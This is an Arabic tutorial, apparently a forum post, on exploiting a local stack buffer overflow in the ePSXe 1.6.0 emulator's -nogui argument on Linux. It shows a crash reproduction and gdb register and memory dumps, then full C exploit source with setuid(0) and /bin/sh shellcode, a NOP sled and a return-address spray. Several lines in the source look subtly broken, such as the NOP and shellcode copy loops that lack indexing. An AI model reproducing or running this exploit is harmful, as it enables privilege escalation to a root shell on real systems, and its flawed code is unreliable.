( موقع البرنامج : http://www.epsxe.com )
كنت اجرب بعض العاب ال playstation 1 على نظام ليونكس عن طريق برنامج ePSXe وقت عملت الالعاب بشكل جيد وكل شئ شغال 100 على 100 ... لكني بلمصادفه وجدت خطء
في البرنامج وفي التحديد بلداله nogui() ... لكن للأسف البرنامج غير مفتوح المصدر ويصعب
تحديد مكان الخطء البرمجي بلضبط لكنه موجود في الداله nogui ليس هنا الخطء فقط فقد
استعمل مبرمج البرنامج الداله strcpy بدل من strncpy لنسخ قيمه الملف psexe الى ال buffer المحدد .... يعني في الاخر راح يكون تقريبا شكل الخطء هاكذا
buffer[*number*]; strcpy(buffer, psexe);
الان لنبدء
root@qnix:~/epsxe# ./epsxe -nogui `perl -e 'print "A"x600'` * Running ePSXe emulator version 1.6.0. * Memory handlers init. Segmentation fault (core dumped)
الان كما ترون قمت بتشغيل البرنامج بلخاصيه -nogui او بمعنى اصح اني اجعل البرنامج يعمل
من سطر الاوامر ... ومن ثم جعلت طول قيمه ال psexe هي 600 حرف A ووجد خطء
ونشئ ملف core توجد به معلومات الخطء ...
( حرف ال A قيمته 41 في HEX )
root@qnix:~/epsxe# gdb -c core ./epsxe ......... This GDB was configured as "i486-slackware-linux"... (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". ............ (no debugging symbols found) Core was generated by `./epsxe -nogui AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) info reg eax eip esp ebp edi eax 0x41414141 1094795585 eip 0x41414141 0x41414141 esp 0xbfffeddc 0xbfffeddc ebp 0xbffff338 0xbffff338 edi 0xbffff394 -1073745004 (gdb) x/1000x $esp 0xbffff514: 0x75 0x69 0x00 0x41 0x41 0x41 0x41 0x41 0xbffff51c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff524: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff52c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff534: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff53c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff544: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff54c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff554: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff55c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff564: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff56c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff574: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff57c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff584: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff58c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff594: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff59c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff684: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff68c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff694: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff69c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff704: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff70c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff714: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff74c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff754: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff75c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff764: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff76c: 0x41 0x41 0x41 0x00 0x43 0x50 0x4c 0x55
كما ترون قمت الان بتشغيل ملف ال core وعرض معلومات عن المسجلات eax,eip,esp,ebp
و edi .
والان كما نرى قت تمت الكتابه على عناوين ال eax وال eip بالقيمه 41 وهي A ...
الان سوف نقوم بكتابه كودي ب C يقوم ب حجز مساحه 600 باستخدام الداله malloc()
وهي تقوم بتخصيص حجم من ال bytes ثم تعيده الى المأشر للمساحه المخصصه .
طبعا راح ندخل ال ret addr ( عنوان الرجوع ) وال offset ان ألزم .
في حالتنا هاذه طريقه اخراج عنوان الرجوع سهله بعكس بعض المشكلات !!
لتحديد عنوان الرجوع نقوم بانشاء الداله sp() (ال sp اختصار ل stack pointer) وكتابه كود اسمبلي فيها وهو
movl %esp, %eax
وفي الاخير يظهر الكود كذا في C
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}بعدها نقوم باعطاق ال esp قيمه ال sp() وبعدها لمعرفه ال ret addr نقوم بتنقيص القيمه
esp من ال offset ..
esp-offset ويضهر لنا عنوان الرجوع ( في حالتنا هاذه .. ) في الغالب يكون ال offset هو 0
ففي هاذه الحاله لن تحتاج لعمليه الطرح ...
بعدها نقوم بادخال 200 nop لتعبه الحيز بقيمه لاتقوم بعمل شئ غير انها تمشي نفسها
بعدها ندخل ال shellcode وبعدها عنوان الرجوع لكي نستطيع من تشغيل ال shellcode .
في الاخير راح يطلع الاستغلال بهاذا الشكل ...
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main()
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("\n ************************************* \n");
printf(" ePSXe v1.* local exploit \n");
printf(" by \n");
printf(" Qnix | Qnix[at]bsdmail[dot]org ");
printf("\n ************************************* \n\n");
printf("[~] SP-ESP : 0x%x\n", esp);
printf("[~] Offset-ESP : 0x%x\n", offset);
printf("[~] Ret Addr : 0x%x\n\n", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 200; i++)
{ buffer = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }
buffer[600-1] = 0;
execl("./epsxe", "epsxe", "-nogui", buffer, 0);
free(buffer);
return 0;
}فلنطبق ...

تمت العمليه بنجاح .. وفي الختام احب اقوم اني اّسف ان لم اقم بشرح جميع النقاط بلتفصيل
فقد مررت عليها بسرعه وبعض النقاط لم اشرحها ... لانها سوف تأخذ وقت ومافاهيم كثيره
فالذي يريد بعض المراجع ليطلبها مني وسوف ابحث له عن الذي يريده إن شاء الله ...
وان وجدت اي اخطاء او معلومات في البرنامج ارجو التصحيح ...
تحياتي
